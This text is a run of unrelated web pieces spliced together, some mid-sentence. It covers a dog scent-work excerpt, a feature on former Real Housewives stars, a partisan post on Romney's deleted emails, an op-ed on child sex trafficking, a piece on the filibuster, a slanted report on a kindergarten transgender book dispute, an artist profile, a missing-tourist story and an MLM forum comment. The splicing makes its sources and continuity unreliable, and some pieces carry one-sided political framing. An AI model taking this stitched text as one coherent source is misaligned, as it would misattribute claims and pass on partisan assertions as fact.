Take Away for Dog Folks: The results from this study led me to think about how we live with our dogs and how we may unwittingly discourage them from using their noses on a daily basis. Maybe, by caring for our dogs so well, and making so many of their decisions for them (what to eat, when to eat, how much to eat, what plate to choose), we influence a bit too much and unintentionally inhibit one of their most amazing and enviable talents. For example, at my training school we teach “Leave it“, a command that can keep dogs safe when they decide to investigate something that may be dangerous to them. However, when we ask for this behavior, are we unintentionally inhibiting dogs’ use of (and enjoyment of) their nose? Just a thought. Personally, I still will always teach this response to my dogs (and those of my students) because it is truly an invaluable behavior to train for its safety and control utility. However, reading this study has encouraged me to consider a bit more carefully each of the everyday circumstances in which I use it.
Consider also the currently popular K-9 Nose Work classes. Almost uniformly, reports about these scent work games are that dogs, (all dogs, regardless of their level of previous training, age, or athletic ability) LOVE, LOVE, LOVE K-9 Nose Work and the success that they experience when encouraged to use their nose and search independently. Perhaps these classes are unleashing some of that latent “nose power” that all dogs have and that they may not always be encouraged to use when living in a typical anthropocentric (human-centered) world. So, Kudos to all of you who encourage your dogs to smell, sniff, find (safe) stuff, and who play nose games with your dogs, teach them to track, or simply regularly encourage them to “SMELL THIS!”
CITED STUDIES:
Horowitz A, Hecht J, Dedrick A: Smelling more or less: Investigating the olfactory experience of the domestic dog, Learning and Motivation 2013; 44:201-217. Prato-Previde E, Marshall-Pescini S, Valsecchi P: Is your choice my choice? The owner’s effect on pet dogs’ (Canis lupus familiaris) performance in a food choice task. Animal Cognition 2008; 11:167-174.
Excerpted from Linda Case’s book “Beware the Straw Man: The Science Dog Explores Dog Training & Fiction“Media playback is unsupported on your device Media caption David Cameron: "We must handle this in an absolutely correct way and I'm satisfied that's what number 10 Downing Street has done"
David Cameron has said he feels "profoundly shocked |
Basement department store, worked at the Great American Knitting Mill, where she managed clients like Nautilus and Joe Boxer, and eventually became a national sales manager for Jockey International.
In her early endeavors, there were hints of the Real Housewife Jill would become. At Simmons, she sold men's underwear that said, "I've been Simmonized" on the butt, and the dean of admissions punished her for violating the school's trademark. "That's the first time I learned about trademark infringement," Jill said. As kids, she and her sister would play the board game Careers. When it was Jill's turn, she always chose a goal called "Fame." But she didn't want to be an actress, singer, or writer, or create an alternative route in the game.
""[My sister] says I put all my money on being famous, and that's what I wanted to be," Jill said.
Jill maintains an archive of Housewives memorabilia in her home.
"What you know about us as people is the crappiest eight minutes Bravo's production can find," former Real Housewife of Orange County Gretchen Rossi told me about the show that presented her as a rich man's unemployed, childless fiancée. "What a lot of people don't know about me is that I was an extremely successful real estate agent. I was in the top 7 percent internationally of my company, of Coldwell Banker, and I did very well for myself. I was literally making a million dollars as a 26-year-old girl, and I made that much money for multiple years while I was in real estate."
Since leaving Real Housewives in 2013, Gretchen has operated a "full lifestyle brand" called Gretchen Christine with her fiancé, Slade, who has dated multiple Real Housewives of Orange County. When I visited their showroom—a second-floor downtown Los Angeles space with walls covered in purses—Gretchen huddled next to Slade at a table full of yet more purses. Since appearing on the show, Gretchen has yet to live like an actual housewife:
"I try to get her to bake cookies, and she says no," Slade said.
"I made cookies the other night, you little turkey, and they were good!" Gretchen said. "I'm a very good homemaker. You love it when I cook, and you love it when I make the house all beautiful."
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She seemed much happier discussing business. She views the Gretchen Christine label through a charitable lens: During her five-season Housewives tenure, Gretchen received tweets from fans asking where she bought her clothes. She told them Gucci, and then, she says, they would tweet their dismay that they couldn't afford it. "This is really sad, that women can't have high end," she remembers thinking, and so she launched her brand, which focuses on handbags but includes items like the "Gorgeous Camel Suede Dress" (currently sold out) and home decor. Most items are under $100. "The profit margin isn't that big. That was OK for me," Gretchen said, petting one of her purses. "This was about women [looking] their best."
Describing a for-profit clothing business like it's charity work may sound ridiculous, but Gretchen has spent hours thinking about pop culture's effect on women. During her Bravo run, she was engaged to an elderly man named Jeff Beitzel. (He died of cancer during her stint on the show.) Viewers would call her a gold digger and accuse her of having breast implants. "These are my real boobs," she made a point to tell me. "I don't have fake boobs, even though I got accused of it a thousand times." More than once, she told me, Gretchen went to a plastic surgeon, begging him to give her a nose job after viewers called her a "horse" on Twitter. The doctor refused. "Your nose is fine," she recalls him saying. During our interview, Gretchen asked me "to be nice" in my article.
Seeing her face on an HD television bothered Gretchen. "For instance," she said, "I had started to have a lot of issues with these moles I have on my face." ("Beauty marks," Slade corrected her.) Gretchen begged a dermatologist to remove them, but he said the scars would look even worse on HDTV. The stress of the show caused her to lose massive amounts of weight, yet she dreamed about losing even more.
"I look back and see pictures of myself—I was so skinny when I was on the show and I didn't even realize it," Gretchen said. "[Being a Real Housewife] does start to mentally kind of break you down."
My opinion is that the network has raped their talent.
Unlike working as a CEO or in-demand real-estate agent, being a Real Housewife does not come with a compensation that matches the psychological endurance it requires. Jill claims her daughter, Ally, never received a dime for appearing on the show. "I'm a SAG member, so I am in the union, and I really wish they would enforce it on reality shows," Jill said. "If for no one else, the children of reality [stars] need to be protected from the long hours." (SAG does not cover reality stars, although some SAG actors have appeared on reality television. SAG did not return Broadly's request for comment.)
Without a union, the Housewives, and their children and husbands, lack the protections that have prevented multi-media conglomerates from exploiting actors and writers. Several sources that have worked with Bravo say salaries vary depending on a Housewife's popularity. Although children's scenes often consist of them running around in the background, kids also occasionally play major roles. And while actors receive residual checks when TV channels air their performances from years ago, multiple Bravo stars say the network does not pay Real Housewives residuals. "My opinion is that the network has raped their talent, because this show has been syndicated since season two," Slade said. "It has been sold off into international distribution... It's been seen by over 500 million people. It plays all over the world, and its talent gets nothing."
In a phone call, a Bravo spokesperson said the network and Cohen declined to comment on these accusations, citing the company's policy on discussing contractual matters. She did not refute any of the Housewives' claims.
Housewives who got their starts as models or successful actresses tend to care less about the short financial stick of reality television. They view the Real Housewives as a means to boost their platform. On a cold day in Manhattan, 39-year-old former Real Housewife of New York Kristen Taekman prepared for a day of press with her assistant at the Little Cupcake shop in Soho. Destiny's Child's "Bills, Bills, Bills" played throughout the store as Kristen discussed work and pretended to eat a croissant.
Kristen Taekman, former model and ex–Real Housewife of New York, strikes a pose in front of a shark.
In her 20s, Kristen worked as a model. She wasn't a household name, but she paid her bills. Her newfound Housewives fame has allowed her to launch a makeup brand. The line specializes in the bright colors she loves—she was wearing a pink jacket when we met. She felt it only made sense to name her company after the phrase "pop of color," which she uses often. "It's [a term] that I use all the time," she explained. "As I'm sure you've noticed, it's everywhere." After deciding on the name, Kristen did an internet search to see if anyone had trademarked "pop of color." Someone had, but POC Beauty was available, so Kristen trademarked it instead.
"I just got my paperwork yesterday," she said. "I own it."
Kristen seemed unaware of the other, more common meaning of the term POC, and I wasn't sure how to broach the topic. I framed the issue around Twitter controversies, a pop-culture motif that all reality TV stars understand. "There was a bit of Twitter controversy with POC [Beauty], because [POC] also means 'people of color,'" I began. Kristen cut me off. "And people of Christ and piece of shit!"
Kristen turned to her assistant, who was arguing on the phone with her dermatologist. "Isn't it bizarre that no one pointed out that it means 'piece of crap' as well? So interesting... The funny thing is that I don't want to comment more on it, because I think it's super silly, to be honest, and everybody knows that the name of my company is Pop of Color, and Pop of Color was not available, POC Beauty was, so there you go. The piece of shit people never came after me!"
Kristin owns the trademark for POC Beauty.
I didn't bother to argue with Kristen. Real Housewives operate in their own world, where perspective is jilted. But for their universe to function, it has to include people besides Bravo castoffs, like "Friends of Housewives," husbands, boyfriends, makeup artists, managers, and producers.
Darren Bettencourt is a manager/producer who has worked with Jill and currently manages new Real Housewife of New York Tinsley Mortimer, as well as Bravo's Million Dollar Listing real estate agents. He's also known to socialize with women from multiple seasons of Real Housewives. Originally working on the scripted development side of TV, Bettencourt changed course around a decade ago after having dinner with Jill and Bethenny. He agreed to work for Jill. "At the time, I knew nothing about the unscripted side of the business, and I saw the opportunity to work with Jill as a great way to learn about reality television," he explained in an email.
Bettencourt is now turning his experiences into a satirical television comedy called Altered Reality, about life behind the scenes of Real Housewives. In the show, he's cast numerous ex–Real Housewives on a fictional show very similar to the Bravo franchise, creating a meta narrative about reality TV. Bettencourt is co-producing the show with Oscar nominee Michael Ohoven, the producer of Capote, and Ohoven's wife, former Real Housewife of Beverly Hills Joyce Giraud.
"I thought it would be fun to cast reality stars in the series to add an additional element of realism, and I wanted to make it over-the-top," Bettencourt said. "My goal was to create a juicy prime-time soap opera reminiscent of Dallas and Dynasty, with the modern twist of the storyline surrounding a group of women that star on a reality series."
"It's a lot about breaking the fourth wall, but you see more of the other side that people don't see in Housewives," Giraud said when we met for lunch at the Chateau Marmont. "It's not just breaking the fourth wall with the women—it's also breaking the fourth wall with the producers."
Housewives manager Darren Bettencourt (left) explains "Altered Reality" to Hollywood power attorney Marty Singer (right).
Last April, I accompanied Bettencourt when he went to explain the program to his lawyer Marty Singer, a Hollywood power attorney best known for defending Bill Cosby. (He no longer represents Cosby.) Singer liked the idea, and he seemed impressed with Bettencourt. "He is extremely looking out for all of his clients, which I admire," Singer told me. "When I look at a client, I look at them as if I'm representing a family member."
Bettencourt has hired Maya Sloan, the celebrity ghostwriter, and her husband, Thomas Warming, an illustrator for Nikki Finke's site Hollywood Dementia, to write the script. At a table reading in Jill's apartment in New York, the couple listened to Jill read her lines and then rewrote the script to include some Yiddish lines at Jill's request.
"She showed me all the [Real Housewives] memorabilia she had and she was very proud of it," Warming recalled. "She's very proud of that."
"Much as it's scripted, when it's most compelling, it's coming from a real place," Sloan explained. "We've had conversations with Housewives, and they very much want to talk about the plotline on [Altered Reality] and [their] entertainment value, but in real life [being on the show] was a pretty emotionally devastating, confusing, all-encompassing [experience]. These issues that you see on the [scripted] show, a lot of them come from very real places, and there are real emotions involved."
Jill reads dialogue to writers Thomas Warming (left) and Maya Sloan (right).
Projects like Altered Reality are dangerous for former Real Housewives because they could prevent them from returning to Bravo. Women like Kathy Wakile, and now Jill, whose return to Real Housewives of New York was teased last month, have returned to the show as friends, and after a three-season total absence, Atlanta's Shereé Whitfield spun the gig into a full-time return to the series.
Like the best reality stars, Shereé straddles the line between savvy and messy, self-aware and oblivious. In Atlanta she asked me to meet her at the Abbey Glass Showroom in the Atlanta design district because she identifies as a designer. "I love art," Shereé later told me. "It's a lifestyle." Shereé showed up late to our meeting, so I waited in the mostly empty showroom, surrounded by racks stuffed with gowns. ("Everyone's at Memphis Fashion Week," the head of operations told me.) When Shereé arrived, she changed out of her Uggs and into a silver ball gown. She strutted outside and posed in front of a mural of 1800s Atlanta. "I'm having my Beyoncé moment!" she yelled. Shereé views herself as superior to other reality stars. When discussing the shows she likes to watch for fun, she mentioned the Love & Hip Hop franchise on VH1. "It doesn't get much more ratchet!" she said.
After the shoot, Shereé drove me to lunch in her blue Porsche; I sat in the back. As she sped through the streets, a roll of carpet slid across the seat next to me. Shereé's story has revolved around her struggles to build Chateau Shereé, a mansion she has yet to finish, and run her fashion line, She by Shereé. She sank most of her Housewives earnings into the brand, and she currently owes the IRS over $300,000, according to reports. "It happens!" Shereé said about her tax problems. In the parking lot of the Mandarin Oriental Hotel's restaurant, Shereé asked me to pay for her valet parking.
Shereé Whitfield, who considers art a "lifestyle," tries on clothes in Atlanta's design district.
At the same time, Shereé is more self-aware and down-to-earth than some other Housewives I spoke with. She grew up in Ohio with a single mom and brother. In 1992 she followed her mother to Atlanta, where she saw many opportunities.
"In Ohio, there was not a lot going on," she told me. "It just didn't seem like there was a lot of opportunity for African Americans. The hype was that, in Atlanta, a lot of African Americans are doing things, they're doing great, and I couldn't wait to see that."
Shereé eventually married New York Giants player Bob Whitfield, but after they divorced, she struggled to pay her bills. When NeNe Leakes, perhaps the most famous Housewife after Bethenny Frankel, asked her to join a new reality show, Shereé agreed. "Let me do this [fashion] line," Shereé recalls thinking. "I don't want to be on TV just to be on TV," she said. "I want to make money, because, you know, I was having hard times at home going through a divorce."
Gossip blogs alleged that the network fired Shereé, but she describes leaving the show as "a mutual agreement." "At the time I was going through, like I said, a divorce and a bunch of stuff, and it just got really messy," she said over lunch. "At home I had no peace, at work I had no peace. I was losing my mind."
Shereé has a "Beyoncé moment."
When I first met with Jill in Los Angeles last February, she had yet to finalize returning to the Real Housewives of New York as a guest star. But she was dead set on returning to television. She had traveled to California to pitch a new show to executives and was staying at her friend Sarah's Beverly Hills mansion. When I met Jill, she was lying on a couch next to a floor-to-ceiling bookshelf full of Sarah's L. Ron Hubbard novels and scientology textbooks. (Jill bragged, "She's gone clear!" a term in Scientology that means someone has freed themselves of "engrams," or emotional trauma.)
The night before, they'd had dinner with the producer of Night of the Wild, a 2015 horror film that Jill starred in. Produced by the creators of Sharknado, the film told the story of a group of suburban housewives who get eaten by dogs. At the time, Page Six and Jezebel reported on how Jill got into a car accident a few days before the premiere of her movie. Jill was upset about the car crash, but happy it garnered publicity for Night of the Wild. "I loved it!" she said of working on the film.
Midway through our conversation, Jill received a text from the rapper Spectacular Smith, from the group Pretty Ricky. They met on JetSmarter, the app that allows users to share private jets. Jill recommended I interview him. "Most women are born with the DNA of mothers, which is taking care and making sure you have food," Jill said. "I have an extra quality, which is being a connector."
When Spectacular arrived at Sarah's house, Jill and I went outside to meet him and his entourage. Sarah, the scientologist, brought out her teenage son, who wore a fedora and pants that looked like they were made out of leather. He wants to be a rapper one day. Jill encouraged him to perform for Spectacular Smith, and he proceeded to rap about Donald Trump. Jill applauded.
Fans have continued to mail Jill letters since she left the show.
I spent his rap thinking of a way to get out of the house. I love Real Housewives, both current and former. They are funny. They are entertaining. But they are also petty, vindictive strivers, and spending time in their world can be exhausting. I approached Jill and told her my boyfriend needed me to come home. She gave me a hug and made me a plate of leftover veal to bring with me.
In that moment, Jill was being maternal—an actual housewife—but the madness in her friend's kitchen consumed me. I viewed Jill the way "the blogs," as Housewives refer to websites that cover them, do—as a spectacle clawing to get back on television despite her tortured history with the medium. Real Housewives savaged her, yet she believes returning to the franchise will be her rebirth.
Later, after I spoke to other Real Housewives across the country, I regretted judging her. A woman can remarry, switch careers, or return to school, but a Real Housewife will always be a Real Housewife. Now that I know about Jill's return to the show, I admire her tenacity and obsessiveness. She wasn't crazy; she knew exactly what she needed to do to get back on television. But watching a woman—or rather, a group of women—fight about, rationalize, and try to explain an identity they had in a past life was still very sad.
As I walked down the hall, Jill yanked my arm. "Mitchell," she begged. "Please don't make this about Bethenny." It probably never should have been.Mitt Romney's staff hit the delete button on public email records
Mitt Romney's staff hit the delete button on public email records
Just before Mitt Romney left the Massachusetts governor’s office and first ran for president, 11 of his top aides purchased their state-issued computer hard drives, and the Romney administration’s e-mails were all wiped from a server, according to interviews and records obtained by the Globe. Romney administration officials had the remaining computers in the governor’s office replaced just before Governor Deval Patrick’s staff showed up to take power in January 2007, according to Mark Reilly, Patrick’s chief legal counsel. As a result, Patrick’s office, which has been bombarded with inquiries for records from the Romney era, has no electronic record of any Romney administration e-mails, Reilly said. “The governor’s office has found no e-mails from 2002-2006 in our possession,’’ Reilly said in a statement. “Before the current administration took office, the computers used during that time period were replaced and the server used during that time period was taken out of service, all files were removed from it, and it was also replaced.’’
Looks like the Mittness Protection Program began long before the 2012 presidential campaign:
The missing emails are a serious issue, but the most amusing thing about this episode is that Romney's campaign is claiming this whole issue is a dirty trick generated by President Obama.
Andrea Saul, a spokeswoman for the Romney campaign, said the governor’s aides did nothing wrong. [...] She accused Patrick of “doing the Obama campaign’s dirty work’’ and called it one in a series of “political attacks to distract from Obama’s horrible record on jobs.’’
Obviously, that's entirely illogical. Romney and his team deleted the emails. Then the media sought access to them. And now Patrick's office is explaining why the emails are unavailable. Nowhere does President Obama enter into that equation.
It's classic Rove politics: blame your opponents for things that you've done wrong. And the fact that the issue at hand are emails that have gone missing makes it all the more Roveian.Malika Saada Saar is special counsel on human rights at the Raben Group and director of the Human Rights Project for Girls.
Would you call Tami a child prostitute?
A pimp kidnapped Tami on her way home from school in Los Angeles. He held her captive for six months, raping, beating and starving her. At night, he sold Tami for sex with other men. Tami tried to escape by telling every john who purchased her that she was only a kid. For months, Tami pleaded with her buyers: “I’m only 15. Can you please take me to a police station?” But none did. When she finally encountered police officers, they did not rescue her; they arrested her.
How about Sandra?
Sandra ran away from an abusive foster care home in Florida at 12. She was found at a bus stop by a pimp who promised to love and care for her forever. He sold her to at least seven men a night. Finally she, too, was arrested, for child prostitution.
Unfortunately, girls in these situations are not typically seen as child victims of serial rape and abuse. Instead, they are left to fend for themselves or treated as child offenders, funneled into the juvenile justice system for child prostitution or related charges.
About 293,000 U.S. children are at risk of being exploited and trafficked for sex, according to a 2011 FBI report on trafficking. Most are girls ages 12 to 14. They often are abducted or lured by pimps/traffickers, beaten into submission and sometimes even branded with the pimp’s name.
Across the United States, there are child sex markets not terribly dissimilar to those in Cambodia, Thailand and India. Girls are sold in this country with the same disregard for human dignity, and they are often tortured in the same ways when they try to escape.
Like trafficked girls everywhere, they are hidden in plain view. In Washington, they are right in front of us — on “dates” at Motel 6 or bars in Adams Morgan. They are purchased through Web sites such as Backpage.com, where their under-age status is signaled with terms like “fresh” or “new to town,” or even the girl’s weight. Often they are dressed up to look older.
Many of the girls are children who were in foster care. One survivor explained to me how the foster-care system is a convenient supply chain for traffickers. “In most of my 14 different placements in foster-care homes,” she said, “I was raped and attached to a check. I understood very early that I could be raped, cared for and connected to money. It was therefore easy to go from that to a pimp, and at least the pimp told me that he loved me.”
Child welfare systems do not properly identify or help children who are being trafficked for sex. Even when there is recognition of abuse, child welfare agencies often regard it as outside of their purview because the perpetrator is not a parent or caregiver. Child welfare agencies then shift the responsibility to law enforcement, which has failed to establish consistent protocols that treat trafficked children as victims of child abuse. These children are not routinely interviewed by sexual violence experts, as is done in other instances of child rape. Nor do prosecutors provide them the legal protections afforded to other sexually assaulted minors.
Because they often are seen as prostitutes, these victims are routed into the juvenile justice system. In many cases, the girls are handcuffed and detained, sometimes for days or longer. A 13-year-old girl recently was arrested in North Hollywood for juvenile prostitution, put in handcuffs and carried off to detention. In California, like many other states, juvenile prostitution carries a sentence of up to two years. Whether girls are arrested for prostitution or just loitering, they are often the ones placed behind bars.
I have heard many judges express frustration that there is no safe place to send these girls. They cannot necessarily be returned to foster care or their families because their home life is often perilous and they might run away again. Nor can they be released onto the streets, where the pimps are waiting. For trafficked girls, there is rarely the option of safe, therapeutic centers. As Rep. Ted Poe (R-Tex.) has pointed out, this country has more animal shelters than shelters for exploited children. Judges often detain these girls, believing that jail is the safest of many bad options.
But should an abused child be incarcerated for the abuses perpetrated against her? The people who rape these girls, the politely termed “johns,” are rarely arrested for statutory rape, child endangerment or sexual assault of a minor.
Perhaps it is too difficult to accept what happens on U.S. soil, to our own daughters. Regardless, we must call this trafficking what it is: serial, systematized rape. And we must care for these girls, too often invisible to society, as victims and survivors of child sexual abuse.
Because there is no such thing as a child prostitute.The basic reason for the Democratic advantage is that they’re likely to win the presidency a lot more often than Republicans over the next 20 to 30 years. The demographics are just relentlessly skewed against the GOP. As my colleague Nate Cohn has documented exhaustively, the growth of minority groups—especially Hispanics—means that the 2016 electorate will be as diverse as the 2012 electorate even if turnout among these groups drops back to its 2004 levels (that is, before the nation’s first black major-party nominee). And the trend lines only get worse for the GOP after 2016.
Republicans could theoretically make up for the growing minority presence by winning a larger percentage of the white vote. But, as Nate points out, the GOP would have to win white voters at historically unprecedented rates to pull this off (that is, unprecedented even for the GOP). And it would have to do this at a time when the white electorate is also drifting leftward—young white voters have broken heavily Democratic in recent presidential elections.
Alternatively, the GOP could always adjust its policy positions to win over minority voters and more moderate whites. But, at least for the next decade or so, this looks even more hopeless. The same structural advantage that gives Republicans a near stranglehold over the House—the median district tilts Republican by three percentage points—means that the typical House GOPer considers it a bigger challenge to win a primary than a general election. This makes these members far more interested in appealing to their base than rebranding their party nationally.
The upshot is that even if Democrats were to kill the filibuster and then lose control of the Senate—which they no doubt will over the next 20 years, perhaps for long stretches—they would generally retain veto power over policies they don’t like by virtue of their grip on the White House. Conversely, Democrats wouldn’t have to worry as much about being unable to block nominees and policies under a Republican president, for the simple reason that there won’t be many Republican presidents around to propose them.
Of course, Republicans will clearly win the presidency some time during the next generation—there are always economic downturns and foreign policy failures to contend with, not to mention lousy candidates and campaigns, all of which affect elections. And you have to believe the GOP will adjust at some point, even if it takes more than a decade. The point is just that, if you’re predicting who benefits from a filibuster-less world based on where we sit today, the odds favor Democrats because of the odds they’ll generally control the presidency.Parents of kindergartners attending a California charter school are frightened after a teacher read her class a book about transgenderism without notifying them.
“My daughter came home crying and shaking so afraid she could turn into a boy,” one parent of a kindergartner at Rocklin Academy said.
“These parents feel betrayed by the school district that they were not notified,” Karen England of the Capitol Resource Institute said at a school board meeting this week, the local CBS affiliate reports. “The kindergartners came home very confused, about whether or not you can pick your gender, whether or not they really were a boy or a girl.”
According to the news report, the book was given to the teacher by a gender-confused child. Parents asserted the same kindergartner “also changed clothes and was revealed as her true gender” during class.
Parents expressed betrayal that they were not notified ahead of time that the kindergarten teacher read two books about transgenderism to her students, including I Am Jazz, which were reportedly given to her by the kindergartner who is in the midst of gender transition. The book was co-authored by Jazz Jennings, a teen who was born a boy but was allowed to transition to a girl.
“It’s really about the parents being informed and involved and giving us the choice and rights of what’s being introduced to our kids, and at what age,” said parent Chelsea McQuistan.
“I’m so proud of my students, it was never my intent to harm any students but to help them through a difficult situation,” said the kindergarten teacher during the meeting, who, according to the report, received support from her colleagues about the need to teach students about diversity.
“When we head in the direction of banned books or book lists, or selective literature– that should only be read inside or outside the classroom, I think that’s a very dangerous direction to go,” said seventh-grade teacher Kelly Bryson.
In a statement during the board meeting, the district said, “As indicated by Superintendent Robin Stout in a communication last week, staff will be engaging parents and teachers in discussions about how materials outside our curriculum will be addressed in the future.”
The board plans to put the item on the agenda for the September meeting.
In May of 2015, a similar incident occurred in Kittery Point, Maine, when public school officials apologized to parents of students in kindergarten through third grade for failing to notify them before their children were exposed to I Am Jazz during a lesson on tolerance and acceptance.
The forced gender ideology that LGBT groups advocate claims that biological sex is subordinate to self-declared “gender” and attempts to undermine the science-based civic understanding that there are two biological sexes – male and female.
“Most people have a sense of their gender identity at age 3 or 4,” Jo Michael, legislative manager at Equality California and transgender individual, told FOX40. “It’s important to note that the other students really do need to have that opportunity to engage and hear from the transgender student.”
More medical and research professionals are drawing attention, however, to the serious problems inherent in a phenomenon in which media hype and political debate are overshadowing actual questions about the health and psychological well-being of children. Concerns about puberty-blocking drugs – which are often used to delay children’s development into adults – can sterilize them even before they can understand how the deep biological impact of puberty will change their feelings about their emerging adult male or female body.
Researchers Paul Hruz, Lawrence Mayer, and Paul McHugh address the problem in a new paper titled “Growing Pains,” published at the New Atlantis.
The authors wrote:
There is strikingly little scientific understanding of important questions underlying the debates over gender identity — for instance, there is very little scientific evidence explaining why some people identify as the opposite sex, or why childhood expressions of cross-gender identification persist for some individuals and not for others. Yet notwithstanding the limited data, physicians and mental health care providers have arrived at a number of methods for treating children, adolescents, and adults with gender dysphoria.
The researchers explore the use of puberty suppression or blocking, in which a child or young adolescent with gender dysphoria is treated with hormones that prevent the normal progression of puberty.
“For parents of children with gender dysphoria, puberty suppression can appear very attractive,” they observed. “It seems like it might offer a medical solution for the anticipated confusion, anxiety, and distress by holding back the development of the most conspicuous features of their children’s biological sex.”
Nevertheless, the authors conclude the scientific evidence for puberty suppression as treatment for gender dysphoria is “thin,” and “based more on the subjective judgments of clinicians than on rigorous empirical evidence.”
“It is, in this sense, still experimental — yet it is an experiment being conducted in an uncontrolled and unsystematic manner,” they warn.
According to the Associated Press, Jennings’ mother, Jeanette, acknowledged the same, agreeing that hormone treatments were “experimental stuff.” She said, “I am messing with my kid’s body.”
Jazz began hormone blockers when she was 11 years old “to ward off male puberty” and began estrogen treatments the following year.
“I was a girl trapped in a boy’s body,” Jennings said two years ago after landing her own reality television show at TLC and scoring a deal with Johnson & Johnson to be the face of its #SeeTheRealMe campaign for Clean and Clear skincare products.Image courtesy of Mathieu Tremblin
Mathieu Tremblin lives and works in Rennes and Arles, France. After graduation from a university of fine arts he began working with site specific urban interventions, graffiti culture, branding and the détournement of objects used in publications, installations, photography and video. This helped him document or reinvest the fruits of his experimentations.
h/t: sueddeutsche, memefest
Image courtesy of Mathieu Tremblin
Inspired by anonymous, autonomous and spontaneous practices and expressions in urban spaces, Mathieu Tremblin implements simple and playful actions in order to question the systems of legislation, representation and symbolization prevalent in everyday city life. His work can also be found in the Netherlands and Belgium.
Image courtesy of Mathieu Tremblin
“Tag Clouds principle is to replace the all-over of graffiti calligraphy by readable translations like the clouds of keywords which can be found on the Internet. It shows the analogy between physical tag and virtual tag, both in the form (tagged walls compositions look the same as tag clouds), and in substance (like keywords which are markers of net surfing, graffiti are markers of urban drifting).” – Mathieu told Memefest.
Image courtesy of Mathieu Tremblin
Image courtesy of Mathieu Tremblin
Image courtesy of Mathieu Tremblin
Image courtesy of Mathieu Tremblin
Image courtesy of Mathieu Tremblin
Image courtesy of Mathieu Tremblin
Image courtesy of Mathieu Tremblin
Image courtesy of Mathieu Tremblin
Image courtesy of Mathieu Tremblin
Image courtesy of Mathieu Tremblin
Image courtesy of Mathieu Tremblin
Image courtesy of Mathieu TremblinAn Ottawa man described as displaying paranoid behaviour before disappearing in a jungle in the Dominican Republic for five nights was found alive Saturday after a long and unusual search.
Patrick Brown was found on April 25, 2015 after five nights in the jungle in the Dominican Republic. (provided by family) Patrick Brown, 37, was in a panic when he ran off into the countryside surrounding Guananico on Monday, his family told CBC News.
Brown, an avid camper, evaded the search efforts of volunteers for days but was eventually found on Saturday, his brother Gord Brown told CBC News in Ottawa on Saturday.
"He's not the type of person to get into trouble," Brown said. "I really don't understand."
Patrick Brown was vacationing with his parents in Puerto Plata when he left the resort with a local tour guide. The guide told the family they were touring a ranch when Brown started acting extremely paranoid.
"He said, 'They're after me. They're going to kill me,' and ran off into the jungle," Gord Brown said, adding that his brother does not have a history of mental health issues or drug abuse.
"This is just totally unnatural for him," Brown said.
Brown said Sunday that his brother was in the hospital in the Dominican Republic but that he hoped he would return home soon.By theory, the MLM mode of operation is simply more cost efficient and easier to run. However the recruitment of sales agents revolve largely around the idea of hitting the jackpot of financial freedom. Simple math will tell you that most people will obviously not make it big through MLM. A certain individual even goes as far to say that 99% of people don’t ever make a profit during his interview with CNBC.
“What causes the average, otherwise shy person to suddenly think they can be a wealth-generating salesman? Because someone showed them “the math.” I’m sure you’ve heard it. All you have to do is find 5 people to join, and those 5 will find five, and those five will get five, and 6 months later you will have 20,000 people working for you, and you’ll be earning $10,000 per month. Really?
look if you go and search top MLM businesses, no matter what link you click on, the number one company is amway. Why everyone goes with different companies i don’t get it, check it out compare to mary kay. Here’s the thing though, I contract with amway, but my organization is worldwide. Mentorship organization. I feel which ever MLM business you choose, join a mentorship organization that is in that business. The reason why amway is number one is because of worldwide. it’s only 10% of everyone that is in amway, yet 90% of the 6 and 7 figure earners are part of worldwide…why? because they broken down the |
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